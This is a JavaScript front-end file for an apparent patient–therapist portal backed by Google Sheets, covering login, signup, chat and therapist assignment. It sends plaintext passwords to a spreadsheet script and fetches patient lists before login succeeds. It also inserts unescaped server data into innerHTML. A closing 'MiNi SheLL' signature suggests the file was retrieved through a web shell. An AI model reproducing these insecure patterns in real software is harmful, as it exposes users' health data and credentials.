var signupUi="<div  style='height:580px;-moz-border-radius:10px;-webkit-border-radius:10px;border-radius:10px;box-shadow: 0px 4px 8px 4px rgba(0,0,0,0.2);width:400px;position:fixed;left:50%;top:50px;transform:translate(-50%,0%);z-index:2;background-color:white;'>"+getFormUiAsString()+"</div>";
document.getElementById(elementId).innerHTML=signupUi;
sendMode='signup';
}

function getForgotPassword(elementId){
resetUi();
makePicture('saceSpaceHighContrastTransparency.png');
makeTitle('Password recovery');
makeField('Enter email address');

var passwordRecoveryUi="<div  style='height:580px;-moz-border-radius:10px;-webkit-border-radius:10px;border-radius:10px;box-shadow: 0px 4px 8px 4px rgba(0,0,0,0.2);width:400px;position:fixed;left:50%;top:50px;transform:translate(-50%,0%);z-index:2;background-color:white;' onclick='javascript:clearPopupStatus()'>"+getFormUiAsString()+"<div style='margin:25px'><hr><div id='emailStatus' style='text-align:center;position:relative;left:50%;transform:translate(-50%,0%);font:14px Calibri;margin-top:50px;font:18px Calibri;' ></div></div></div>";
document.getElementById(elementId).innerHTML=passwordRecoveryUi;
sendMode='passwordRecovery';
}

function getResetPassword(elementId){
resetUi();
makePicture('saceSpaceHighContrastTransparency.png');
makeTitle('Change password');
makeField('Enter email address');
makePasswordField('Enter current password');
makePasswordField('Password (atleast 8 characters)');
makePasswordField('Re-enter password');

var signupUi="<div  style='height:580px;-moz-border-radius:10px;-webkit-border-radius:10px;border-radius:10px;box-shadow: 0px 4px 8px 4px rgba(0,0,0,0.2);width:400px;position:fixed;left:50%;top:50px;transform:translate(-50%,0%);z-index:2;background-color:white;'>"+getFormUiAsString()+"</div>";
document.getElementById(elementId).innerHTML=signupUi;
sendMode='resetPassword';
}

function clearPopupStatus(){
try{
document.getElementById('popupStatus').innerHTML="&nbsp;";}catch(err){}
try{
document.getElementById('emailStatus').innerHTML='';}catch(err){}
}
function send(){
if(sendMode=='login'){
document.getElementById('submitButtonGuiForm').disabled=true;
sendDataToGoogleSheets([sendMode,role,getFieldText('Email address'),getFieldText('Password')],googleSheetsPortalScript);
sendDataToGoogleSheets(['getContacts',role,getFieldText('Email address'),getFieldText('Password')],googleSheetsPortalScript);
sendDataToGoogleSheets(['getPatients'],googleSheetsPortalScript);
sendDataToGoogleSheets(['getTherapists'],googleSheetsPortalScript);
document.getElementById('popupStatus').innerHTML="<span style='animation-name:popupStatus;animation-duration:8s;animation-iteration-count:infinite'>&#x1F50E; Searching . . .</span> ";
sendDataToGoogleSheets(['getSignupMode'],googleSheetsPortalScript);
}
if(sendMode=='signup'){
var formCompleted=true;
if(getFieldText('First name')==''){
formCompleted=false;
document.getElementById('First name').style.boxShadow= "0px 0px 1px 0px rgba(255,0,0,1)";}else{
document.getElementById('First name').style.boxShadow= "0px 0px 1px 0px rgba(0,0,0,0.2)";}
if(getFieldText('Last name')==''){
formCompleted=false;
document.getElementById('Last name').style.boxShadow= "0px 0px 1px 0px rgba(255,0,0,1)";}else{
document.getElementById('Last name').style.boxShadow= "0px 0px 1px 0px rgba(0,0,0,0.2)";}
if(getFieldText('Enter email address')==''){
formCompleted=false;
document.getElementById('Enter email address').style.boxShadow= "0px 0px 1px 0px rgba(255,0,0,1)";}else{
document.getElementById('Enter email address').style.boxShadow= "0px 0px 1px 0px rgba(0,0,0,0.2)";}
if(getFieldText('Password (atleast 8 characters)')==''){
formCompleted=false;
document.getElementById('Password (atleast 8 characters)').style.boxShadow= "0px 0px 1px 0px rgba(255,0,0,1)";}else{
document.getElementById('Password (atleast 8 characters)').style.boxShadow= "0px 0px 1px 0px rgba(0,0,0,0.2)";}
if(getFieldText('Re-enter password')==''){
formCompleted=false;
document.getElementById('Re-enter password').style.boxShadow= "0px 0px 1px 0px rgba(255,0,0,1)";}else{
document.getElementById('Re-enter password').style.boxShadow= "0px 0px 1px 0px rgba(0,0,0,0.2)";}
if(getFieldText('Password (atleast 8 characters)')==getFieldText('Re-enter password')&&getFieldText('Password (atleast 8 characters)').length>7&&getFieldText('Re-enter password').length>7){
document.getElementById('Password (atleast 8 characters)').style.boxShadow= "0px 0px 1px 0px rgba(0,0,0,0.2)";
document.getElementById('Re-enter password').style.boxShadow= "0px 0px 1px 0px rgba(0,0,0,0.2)";
}else{
formCompleted=false;
document.getElementById('Password (atleast 8 characters)').style.boxShadow= "0px 0px 1px 0px rgba(255,0,0,1)";
document.getElementById('Re-enter password').style.boxShadow= "0px 0px 1px 0px rgba(255,0,0,1)";
}
if(formCompleted){
firstName=getFieldText('First name');
lastName=getFieldText('Last name');
email=getFieldText('Enter email address');
password=getFieldText('Password (atleast 8 characters)');
if(role=='patient'){
renderPopup(popupPanel);}
if(role=='therapist'){
renderTherapistPopup(popupPanel);}
if(role=='admin'){
sendDataToGoogleSheets([sendMode,role,firstName,lastName,email,password],googleSheetsPortalScript);
sendDataToGoogleSheets(['getPatients'],googleSheetsPortalScript);
sendDataToGoogleSheets(['getTherapists'],googleSheetsPortalScript);
setUpdating();}
}
}
if(sendMode=='passwordRecovery'){
sendDataToGoogleSheets([sendMode,role,getFieldText('Enter email address')],googleSheetsPortalScript);
document.getElementById('emailStatus').innerHTML="<span style='animation-name:popupStatus;animation-duration:8s;animation-iteration-count:infinite'>&#x1F50E; Searching . . .</span> ";}

if(sendMode=='resetPassword'){
var formCompleted=true;
if(getFieldText('Enter email address')==''){
formCompleted=false;
document.getElementById('Enter email address').style.boxShadow= "0px 0px 1px 0px rgba(255,0,0,1)";}else{
document.getElementById('Enter email address').style.boxShadow= "0px 0px 1px 0px rgba(0,0,0,0.2)";}
if(getFieldText('Enter current password')==''){
formCompleted=false;
document.getElementById('Enter current password').style.boxShadow= "0px 0px 1px 0px rgba(255,0,0,1)";}else{
document.getElementById('Enter current password').style.boxShadow= "0px 0px 1px 0px rgba(0,0,0,0.2)";}
if(getFieldText('Password (atleast 8 characters)')==''){
formCompleted=false;
document.getElementById('Password (atleast 8 characters)').style.boxShadow= "0px 0px 1px 0px rgba(255,0,0,1)";}else{
document.getElementById('Password (atleast 8 characters)').style.boxShadow= "0px 0px 1px 0px rgba(0,0,0,0.2)";}
if(getFieldText('Re-enter password')==''){
formCompleted=false;
document.getElementById('Re-enter password').style.boxShadow= "0px 0px 1px 0px rgba(255,0,0,1)";}else{
document.getElementById('Re-enter password').style.boxShadow= "0px 0px 1px 0px rgba(0,0,0,0.2)";}
if(getFieldText('Password (atleast 8 characters)')==getFieldText('Re-enter password')&&getFieldText('Password (atleast 8 characters)').length>7&&getFieldText('Re-enter password').length>7){
document.getElementById('Password (atleast 8 characters)').style.boxShadow= "0px 0px 1px 0px rgba(0,0,0,0.2)";
document.getElementById('Re-enter password').style.boxShadow= "0px 0px 1px 0px rgba(0,0,0,0.2)";
}else{
formCompleted=false;
document.getElementById('Password (atleast 8 characters)').style.boxShadow= "0px 0px 1px 0px rgba(255,0,0,1)";
document.getElementById('Re-enter password').style.boxShadow= "0px 0px 1px 0px rgba(255,0,0,1)";
}
if(formCompleted){
currentPassword=getFieldText('Enter current password');
email=getFieldText('Enter email address');
password=getFieldText('Password (atleast 8 characters)');
sendDataToGoogleSheets([sendMode,role,email,currentPassword,password],googleSheetsPortalScript);
sendDataToGoogleSheets(['getPatients'],googleSheetsPortalScript);
sendDataToGoogleSheets(['getTherapists'],googleSheetsPortalScript);
setUpdating();
}
}
}

function sendText(){
document.getElementById('sendButton').disabled=true;
var dataToSendArray=[];
var date=new Date();
var minute=date.getMinutes();

dataToSendArray[0]=firstName;
dataToSendArray[1]=lastName;
dataToSendArray[2]=myProfilePic;
dataToSendArray[3]=date.getDate()+' '+months[date.getMonth()]+' '+date.getFullYear();
if(minute<10){
minute="0"+minute;}
if(date.getHours()<13){
dataToSendArray[4]=date.getHours()+":"+minute+" am";}else{
dataToSendArray[4]=(date.getHours()-12)+":"+minute+" pm";}
dataToSendArray[5]=getFieldText('textToSend');
if(dataToSendArray[5]!=''){
sendDataToGoogleSheets(['sendingText',conversationId,dataToSendArray.join('*^*')],googleSheetsPortalScript);
}
setFieldText('textToSend','');
}

function autoCheck(){
if(!autoCheckRunning){
setInterval(function(){
sendDataToGoogleSheets(['autoCheck',conversationId],googleSheetsPortalScript);
},3000);
autoCheckRunning=true;}
}

function receiveDataFromGoogleSheets(){
waitForGoogleThenExecute();

if(getDataFromGoogleSheetsAsArray()[0]=='signupMode'){
try{
document.getElementById('enableSignup').checked=(getDataFromGoogleSheetsAsArray()[1]==='true');
}catch(err){}
}

if(getDataFromGoogleSheetsAsArray()[0]=='loginFailed'){
document.getElementById('popupStatus').innerHTML="<span style='animation-name:popupStatus;animation-duration:8s;animation-iteration-count:infinite'><i class='fas fa-exclamation-triangle' style='color:orange'></i> Invalid email address / password</span> ";
document.getElementById('submitButtonGuiForm').disabled=false;
}
if(getDataFromGoogleSheetsAsArray()[0]=='loginSuccessful'){
try{
document.getElementById('popupStatus').innerHTML=" ";}catch(err){}

firstName=getDataFromGoogleSheetsAsArray()[1];
lastName=getDataFromGoogleSheetsAsArray()[2];
conversationId=getDataFromGoogleSheetsAsArray()[3];
conversationDataAsString=getDataFromGoogleSheetsAsArray()[4];

var conversationData=[];
conversationData=conversationDataAsString.split('~*data*~');

var profilesArray=[];
try{
currentProfile=conversationData[0];
profilesArray=currentProfile.split('~*profilesArray*~');}catch(err){}

var resourcesArray=[];
try{
currentResources=conversationData[1].split('~*resourcesArray*~');
resourcesArray=currentResources;}catch(err){}

var meetingTimesArray=[];
try{
currentMeetingTimes=conversationData[2].split('~*meetingTimesArray*~');
meetingTimesArray=currentMeetingTimes;}catch(err){}

conversation=conversationData[3];


for(var i=0;i<profilesArray.length;i++){
let profile=profilesArray[i].split('~*profile*~');
let firstNameToSave=profile[0];
let lastNameToSave =profile[1];
let myProfileDescriptionToSave=profile[2];
let profilePictureDimensions=profile[3];
let profilePictureFileUrl=profile[4];

if(firstName==firstNameToSave&&lastName==lastNameToSave){
profileArrayData=profile;
document.getElementById('myProfileName').innerHTML=firstNameToSave+' '+lastNameToSave;
try{document.getElementById('homeScreenMyProfileName').innerHTML=firstNameToSave+' '+lastNameToSave;}catch(err){}
document.getElementById('myProfileDescription').innerHTML="<xmp style='font:1.25vw Calibri'>"+myProfileDescriptionToSave+"</xmp>";
setFieldText('myProfileDescriptionToSave',myProfileDescriptionToSave);

if(profilePictureFileUrl==''){
myProfilePic=(firstNameToSave.substring(0,1)).toUpperCase()+(lastNameToSave.substring(0,1)).toUpperCase();
document.getElementById('myProfilePic').innerHTML=myProfilePic;
try{document.getElementById('homeScreenMyProfilePic').innerHTML="<div style='position:absolute;top:50%;left:50%;transform:translate(-50%,-50%);font: 9vw Arial;'>"+myProfilePic;+"</div>"}catch(err){}
}else{
myProfilePic=profilePictureFileUrl;
document.getElementById('myProfilePic').innerHTML="<img style='width:16vh' src='"+myProfilePic+"'>";
try{document.getElementById('homeScreenMyProfilePic').innerHTML="<img src='"+myProfilePic+"' style='width:18vw;transform:translate(0%,0%);'/>";}catch(err){}
}
}else{
if(profile!=''){
document.getElementById('patientsProfileDescription').innerHTML="<xmp style='font:1.25vw Calibri'>"+profilePictureDimensions+"</xmp>";
document.getElementById('partnerProfileName').innerHTML=firstNameToSave+' '+lastNameToSave;
document.getElementById('partnerProfileDescription').innerHTML="<xmp style='font:1.25vw Calibri'>"+myProfileDescriptionToSave+"</xmp>";
if(profilePictureFileUrl==''){
partnerProfilePic=(firstNameToSave.substring(0,1)).toUpperCase()+(lastNameToSave.substring(0,1)).toUpperCase();
document.getElementById('partnerProfilePic').innerHTML=partnerProfilePic;
}else{
partnerProfilePic=profilePictureFileUrl;
document.getElementById('partnerProfilePic').innerHTML="<img style='width:16vh' src='"+partnerProfilePic+"'>";}}
}


}

var resourcesToShowArray=[];

for(var i=0;i<resourcesArray.length;i++){
let resource=resourcesArray[i].split('~*resource*~');
resourcesToShowArray[i*3]=resource[0];
resourcesToShowArray[i*3+1]=resource[1];
resourcesToShowArray[i*3+2]=resource[2];
}
showResources(resourcesToShowArray);





var meetingsToShowArray=[];

for(var i=0;i<meetingTimesArray.length;i++){
let meeting=meetingTimesArray[i].split('~*meeting*~');
meetingsToShowArray[i*2]=meeting[0];
meetingsToShowArray[i*2+1]=meeting[1];
}
showMeetingTimes(meetingsToShowArray);






removePopupPanel();

if(role!='admin'){
autoCheck();
setUpdating();
removeUpdatingOnConversationUpdate();}
displayDashboard();

if(role=='therapist'){
}
if(document.getElementById('myProfileName').innerHTML==''&&role!='admin'){
saveMyProfile();}
}

if(getDataFromGoogleSheetsAsArray()[0]=='noConversationId'){

if(patientJustRegistered){
document.location='https://buy.stripe.com/test_dR60202qFgwSg8M5km';}

removePopupPanel();
removeUpdating();
document.getElementById('loginRejectionPanel').innerHTML="<div onclick='javascript:{document.getElementById(&#39;loginRejectionPanel&#39;).innerHTML=&#39;&#39;;}' style='cursor:pointer;position:absolute;top:0px;left:0px;z-index:2;width:100vw;height:100vh;background-color:rgba(0,0,0,.5);'><div style='position:absolute;top:50%;left:50%;transform:translate(-50%,-50%);color:white;font:44px Calibri;'>"+getDataFromGoogleSheetsAsArray()[1]+"</div></div>";
}

if(getDataFromGoogleSheetsAsArray()[0]=='updateConversation'){
if(waitForConversationToUpdate){
waitForConversationToUpdate=false;
removeUpdating();}
var conversationDataAsString=getDataFromGoogleSheetsAsArray()[1];

let conversation
let conversationData=[];
conversationData=conversationDataAsString.split('~*data*~');

var profilesArray=[];
try{
if(currentProfile!=conversationData[0]){

currentProfile=conversationData[0];
profilesArray=currentProfile.split('~*profilesArray*~');
updateProfile(profilesArray);
}
}catch(err){}

var resourcesArray=[];
try{
if(currentResources!=conversationData[1]){

currentResources=conversationData[1];

let resourcesToShowArray=[];
resourcesArray=currentResources.split('~*resourcesArray*~');

for(var i=0;i<resourcesArray.length;i++){
let resource=resourcesArray[i].split('~*resource*~');
resourcesToShowArray[i*3]=resource[0];
resourcesToShowArray[i*3+1]=resource[1];
resourcesToShowArray[i*3+2]=resource[2];
}

showResources(resourcesToShowArray);
}
}catch(err){}

var meetingTimesArray=[];
try{
if(currentMeetingTimes!=conversationData[2]){

currentMeetingTimes=conversationData[2];
meetingTimesArray=currentMeetingTimes.split('~*meetingTimesArray*~');
let meetingsToShowArray=[];
for(var i=0;i<meetingTimesArray.length;i++){
let meeting=meetingTimesArray[i].split('~*meeting*~');
meetingsToShowArray[i*2]=meeting[0];
meetingsToShowArray[i*2+1]=meeting[1];
}
showMeetingTimes(meetingsToShowArray);}
}catch(err){}


conversation=conversationData[3];
setConversationBody(conversation);
removeUpdating();
}

if(getDataFromGoogleSheetsAsArray()[0]=='signupSuccessful'){
}

if(getDataFromGoogleSheetsAsArray()[0]=='patientRequestSuccessful'){
}

if(getDataFromGoogleSheetsAsArray()[0]=='emailSent'){
document.getElementById('emailStatus').innerHTML="<span style='animation-name:popupStatus;animation-duration:8s;animation-iteration-count:infinite'><i class='fas fa-envelope' style='color:green'></i> &nbsp;Check your email for further instructions</span> ";
}
if(getDataFromGoogleSheetsAsArray()[0]=='emailNotFound'){
document.getElementById('emailStatus').innerHTML="<span style='animation-name:popupStatus;animation-duration:8s;animation-iteration-count:infinite'><i class='fas fa-exclamation-triangle' style='color:orange'></i> Invalid email address</span> ";
}

if(getDataFromGoogleSheetsAsArray()[0]=='contactsFound'){

var contactsArray=getDataFromGoogleSheetsAsArray()[1];
var contactList=contactsArray.split('*^*');
var contactNamesToDisplay=[];

for(var i=0;i<contactList.length;i++){
contactNamesToDisplay[i]=(contactList[i].split('*^^^*'))[0];
chatNumbers[contactNamesToDisplay[i]]=(contactList[i].split('*^^^*'))[1];
}
contactNamesToDisplay.join('^*^');
setRecordToSearch(contactNamesToDisplay);
}

if(getDataFromGoogleSheetsAsArray()[0]=='patientsFound'){
var tempPatientTherapistList=getDataFromGoogleSheetsAsArray()[1].split('*^*');
var patientTherapistList=[];
var patientTherapistPatientProfile=[];

for(var i=0;i<tempPatientTherapistList.length;i++){
var patientTherapistInfo=tempPatientTherapistList[i].split('*^^^*');
if(patientTherapistInfo[1]==''){
patientTherapistList[i]=patientTherapistInfo[0];
patientTherapistPatientProfile[i]=patientTherapistInfo[3];
}
else{
patientTherapistList[i]=patientTherapistInfo[0]+ " ( "+patientTherapistInfo[1]+" )";
patientTherapistPatientProfile[i]=patientTherapistInfo[3];
}
}
setPatientsList(patientTherapistList,patientTherapistPatientProfile);

}

if(getDataFromGoogleSheetsAsArray()[0]=='therapistsFound'){
var tempTherapistList=getDataFromGoogleSheetsAsArray()[1].split('*^*');
setTherapistList(tempTherapistList);
}

if(getDataFromGoogleSheetsAsArray()[0]=='therapistAssignedSuccessful'){
document.getElementById('patientTherapistMatchingPrompt').innerHTML='Select a patient';
document.getElementById('patientProfilePrompt').innerHTML='';
sendDataToGoogleSheets(['getPatients'],googleSheetsPortalScript);
}

}

function removeUpdatingOnConversationUpdate(){
waitForConversationToUpdate=true;}

function searchBarItemSelected(chatSelected){
conversationId=chatNumbers[chatSelected];
setUpdating();
}

function setPatientsList(patientNames,patientProfile){
removeUpdating();
var patientsNameUi='';
for(var i=0;i<patientNames.length;i++){
if(patientNames[i].indexOf('(')==-1){
patientsNameUi=patientsNameUi+"<div onclick='javascript:setPatientTherapistMatchingPrompt(&#39;"+patientNames[i]+"&#39;);setPatientTherapistMatchingProfile(&#39;"+patientProfile[i].replaceAll("\n","~~~")+"&#39;)' style='cursor:pointer;'><div class='onHoverTherapist' style='-moz-border-radius:5px;-webkit-border-radius:5px;border-radius:5px;padding:15px 12px;' >"+patientNames[i]+"</div></div>";
}else{
patientsNameUi=patientsNameUi+"<div style='padding:15px 12px;'><div style='-moz-border-radius:5px;-webkit-border-radius:5px;border-radius:5px;display:inline-block;' disabled=true>"+patientNames[i]+"</div><span style='float:right'><div onclick='javascript:removeTherapist(&#39;"+patientNames[i]+"&#39;)' style='display:inline-block;color:#00C0FF;cursor:pointer;' >remove</div></span></div>";}

}
document.getElementById('patientsBody').innerHTML=patientsNameUi;
}

function setPatientTherapistMatchingPrompt(patientNameToMatch){
patientToMatch=patientNameToMatch;
document.getElementById('patientTherapistMatchingPrompt').innerHTML='Assign '+patientNameToMatch+' a therapist';
selectOnlyOne('therapists');
}

function setPatientTherapistMatchingProfile(patientProfile){
document.getElementById('patientProfilePrompt').innerHTML=patientProfile.replaceAll('~~~','\r\n');
}

function setTherapistList(therapistsNames){

var therapistsNameUi='';
therapistsNameUi="<div style='width:100%;height:70px;'></div>";
for(var i=0;i<therapistsNames.length;i++){
var therapistInfo=therapistsNames[i].split('*^^^*');
therapistsNameUi=therapistsNameUi+"<div onclick='javascript:setTherapist(&#39;"+therapistInfo[0]+' '+therapistInfo[1]+"&#39;)' style='cursor:pointer;'><div class='onHoverTherapist' style='-moz-border-radius:5px;-webkit-border-radius:5px;border-radius:5px;'><div style='width:100%;'><div style='background-color:white;width:8vh;height:8vh;position:relative;top:2vh;left:50%;transform:translate(-50%,0%);-moz-border-radius:4vh;-webkit-border-radius:4vh;border-radius:4vh;overflow:hidden;'><div style='position:absolute;top:50%;left:50%;transform:translate(-50%,-50%);font: 4vh Arial;'><img style='width:8vh' src='"+therapistInfo[3]+"' >"+"</div></div></div><h3 style='text-align:center;color:tomato;'><div >"+therapistInfo[0]+' '+therapistInfo[1]+"</div></h3><h4 style='text-align:center;color:dimgrey'><div><textarea style='padding:10px 10px;width:90%;resize:none;-moz-border-radius:10px;-webkit-border-radius:10px;border-radius:10px;margin-bottom:10px;border:none;overflow:none;' placeholder='Write something short...' readonly>"+therapistInfo[2]+"</textarea></div></h4></div></div>";
}
document.getElementById('therapistsBody').innerHTML=therapistsNameUi;
}

function setTherapist(therapistToMatchWithPatient){
therapistToMatch=therapistToMatchWithPatient;
if(patientToMatch!=''&&therapistToMatch!=''){
sendDataToGoogleSheets(['assignTherapist',patientToMatch,therapistToMatch],googleSheetsPortalScript);
setUpdating();
patientToMatch='';
therapistToMatch='';
}
}


function removeTherapist(patientAndTherapist){
var patientToUnassign=patientAndTherapist.substring(0,patientAndTherapist.indexOf('(')-1);
var therapistToUnassign=patientAndTherapist.substring(patientAndTherapist.indexOf('(')+2,patientAndTherapist.indexOf(')')-1);
sendDataToGoogleSheets(['unassignTherapist',patientToUnassign,therapistToUnassign],googleSheetsPortalScript);
setUpdating();
}

function setUpdating(){
document.getElementById('adminPatientRejectionPanel').innerHTML="<div style='cursor:pointer;position:absolute;top:0px;left:0px;z-index:2;width:100vw;height:100vh;'><div style='width:100%;height:100%;background-color:rgba(0,0,0,.5);animation-name:popupStatus;animation-duration:8s;animation-iteration-count:infinite'><div style='position:absolute;top:50%;left:50%;transform:translate(-50%,-50%);font:44px Calibri;'><i class='fas fa-cloud-upload-alt' style='color:orange'></i> Updating...</div></div></div>";
}
function removeUpdating(){
document.getElementById('adminPatientRejectionPanel').innerHTML='';
}
function setConversationBody(conversationBodyToSet){
var conversationArray=[];
try{
conversationArray=conversationBodyToSet.split('*^^^*');}catch(err){
document.getElementById('conversationBody').innerHTML='';}
var chat='';
for(var i=0;i<conversationArray.length;i++){
try{
var messageArray=[];
messageArray=conversationArray[i].split('*^*');
if(messageArray.length>1){
if(firstName==messageArray[0]&&lastName==messageArray[1]){
if(myProfilePic.length>2){
chat=chat+"<div style='display:block;margin-bottom:10px;position:relative;top:0px;left:calc(100% - 60px);' ><div style='width:60px;height:60px;-moz-border-radius:30px;-webkit-border-radius:30px;border-radius:30px;overflow:hidden;'><img style='width:60px' src='"+myProfilePic+"'></div></div> ";}else{
chat=chat+"<div style='display:block;margin-bottom:10px;position:relative;top:0px;left:calc(100% - 60px);' ><div style='width:60px;height:60px;-moz-border-radius:30px;-webkit-border-radius:30px;border-radius:30px;overflow:hidden;background-color:whitesmoke'><div style='text-align:center;font:30px Calibri;position:relative;top:50%;transform:translate(0%,-50%)'>"+myProfilePic+"</div></div> </div> ";
}
chat=chat+"<div style='width:calc(100% - 120px); position:relative;top:0px;left:60px;'><div style='padding:10px 10px; overflow:hidden;display:block;background-image:linear-gradient(to bottom,#ebe3d9,#f6dcc4);-moz-border-radius:20px;-webkit-border-radius:20px;border-radius:20px;-moz-border-top-right-radius:0px;-webkit-border-top-right-radius:0px;border-top-right-radius:0px;margin-bottom:10px;'><xmp style='font:14px Calibri;'>"+messageArray[5]+"</xmp><div style='margin-top:10px;color:gray;text-align:right;'>"+messageArray[3]+" | "+messageArray[4]+"</div></div></div>";}
else{

if(partnerProfilePic.length>2){
chat=chat+"<div style='display:block;margin-bottom:10px;' ><div style='width:60px;height:60px;-moz-border-radius:30px;-webkit-border-radius:30px;border-radius:30px;overflow:hidden;'><img style='width:60px' src='"+partnerProfilePic+"'></div> </div>";}else{
chat=chat+"<div style='display:block;margin-bottom:10px;' ><div style='width:60px;height:60px;-moz-border-radius:30px;-webkit-border-radius:30px;border-radius:30px;overflow:hidden;background-color:wheat'><div style='text-align:center;font:30px Calibri;position:relative;top:50%;transform:translate(0%,-50%)'>"+partnerProfilePic+"</div></div> </div> ";}

chat=chat+"<div style='width:calc(100% - 120px); position:relative;top:0px;left:60px;'><div style='padding:10px 10px; overflow:hidden;display:block;background-image:linear-gradient(to bottom,lightgray,whitesmoke);-moz-border-radius:20px;-webkit-border-radius:20px;border-radius:20px;-moz-border-top-left-radius:0px;-webkit-border-top-left-radius:0px;border-top-left-radius:0px;margin-bottom:10px;'><xmp style='font:14px Calibri'>"+messageArray[5]+"</xmp><div style='margin-top:10px;color:gray;text-align:right;'>"+messageArray[3]+" | "+messageArray[4]+"</div></div></div>";}
}
}catch(err){}
}

document.getElementById('conversationBody').innerHTML=chat;
document.getElementById('sendButton').disabled=false;
}


function waitForGoogleThenExecute(){}

function waitForPatientInfo(patientProfileInfo){
sendDataToGoogleSheets([sendMode,role,firstName,lastName,email,password,patientProfileInfo],googleSheetsPortalScript);
patientJustRegistered=true;
setUpdating();
}

function waitForTherapistInfo(therapistPic,therapistPicType,therapistDescription){
sendDataToGoogleSheets([sendMode,role,firstName,lastName,email,password,therapistPic,therapistPicType,therapistDescription],googleSheetsPortalScript);
therapistJustRegistered=true;
setUpdating();
}

function removePopupPanel(){
document.getElementById('popupPanel').style.display='none';
}

function getDay(){
return "<span><select style='float:left;padding:2px 2px;margin:2px;' id='getDay'><option>Day</option><option value='Monday'>Monday</option><option value='Tuesday'>Tuesday</option><option value='Wednesday'>Wednesday</option><option value='Thursday'>Thursday</option><option value='Friday'>Friday</option><option value='Saturday'>Saturday</option><option value='Sunday'>Sunday</option></select></span>";
}

function getDuration(){
return "<span><select style='float:left;padding:2px 2px;margin:2px;' id='getDuration'><option>Duration</option><option value='00h 15m'>00h 15m</option><option value='00h 30'>00h 30m</option><option value='00h 45m'>00h 45m</option><option value='01h 00m'>01h 00m</option><option value='01h 15m'>01h 15m</option><option value='01h 30m'>01h 30m</option><option value='01h 45m'>01h 45m</option><option value='02h 00m'>02h 00m</option></select></span>";
}

function getHour(){
return "<span><select style='float:left;padding:2px 2px;margin:2px;' id='getHour'><option>Hour</option><option value='1'>1</option><option value='2'>2</option><option value='3'>3</option><option value='4'>4</option><option value='5'>5</option><option value='6'>6</option><option value='7'>7</option><option value='8'>8</option><option value='9'>9</option><option value='10'>10</option><option value='11'>11</option><option value='12'>12</option></select></span>";
}

function getMinutes(){
return "<span><select style='float:left;padding:2px 2px;margin:2px;' id='getMinute'><option>Minute</option><option value='05'>5</option><option value='10'>10</option><option value='15'>15</option><option value='20'>20</option><option value='25'>25</option><option value='30'>30</option><option value='35'>35</option><option value='40'>40</option><option value='45'>45</option><option value='50'>50</option><option value='55'>55</option></select></span>";
}

function getAMPM(){
return "<span><select style='float:left;padding:2px 2px;margin:2px;' id='getAMPM'><option>AM/PM</option><option value='AM'>AM</option><option value='PM'>PM</option></select></span>";
}

function updateProfile(profileArraysToUpdate){

for(var i=0;i<profileArraysToUpdate.length;i++){
let profile=profileArraysToUpdate[i].split('~*profile*~');

let firstNameToSave=profile[0];
let lastNameToSave =profile[1];
let myProfileDescriptionToSave=profile[2];
let profilePictureDimensions=profile[3];
let profilePictureFileUrl=profile[4];

if(firstName==firstNameToSave&&lastName==lastNameToSave){
}else{
if(profile!=''){console.log(1,document.getElementById('patientsProfileDescription'));
document.getElementById('patientsProfileDescription').innerHTML="<xmp style='font:1.25vw Calibri'>"+profilePictureDimensions+"</xmp>";
document.getElementById('partnerProfileName').innerHTML=firstNameToSave+' '+lastNameToSave;
document.getElementById('partnerProfileDescription').innerHTML="<xmp style='font:1.25vw Calibri'>"+myProfileDescriptionToSave+"</xmp>";
if(profilePictureFileUrl==''){
partnerProfilePic=(firstNameToSave.substring(0,1)).toUpperCase()+(lastNameToSave.substring(0,1)).toUpperCase();
document.getElementById('partnerProfilePic').innerHTML=partnerProfilePic;}else{
partnerProfilePic=profilePictureFileUrl;
document.getElementById('partnerProfilePic').innerHTML="<img style='width:16vh' src='"+partnerProfilePic+"'>";}}}
}
}

Creat By MiNi SheLL
Email: devilkiller@gmail.com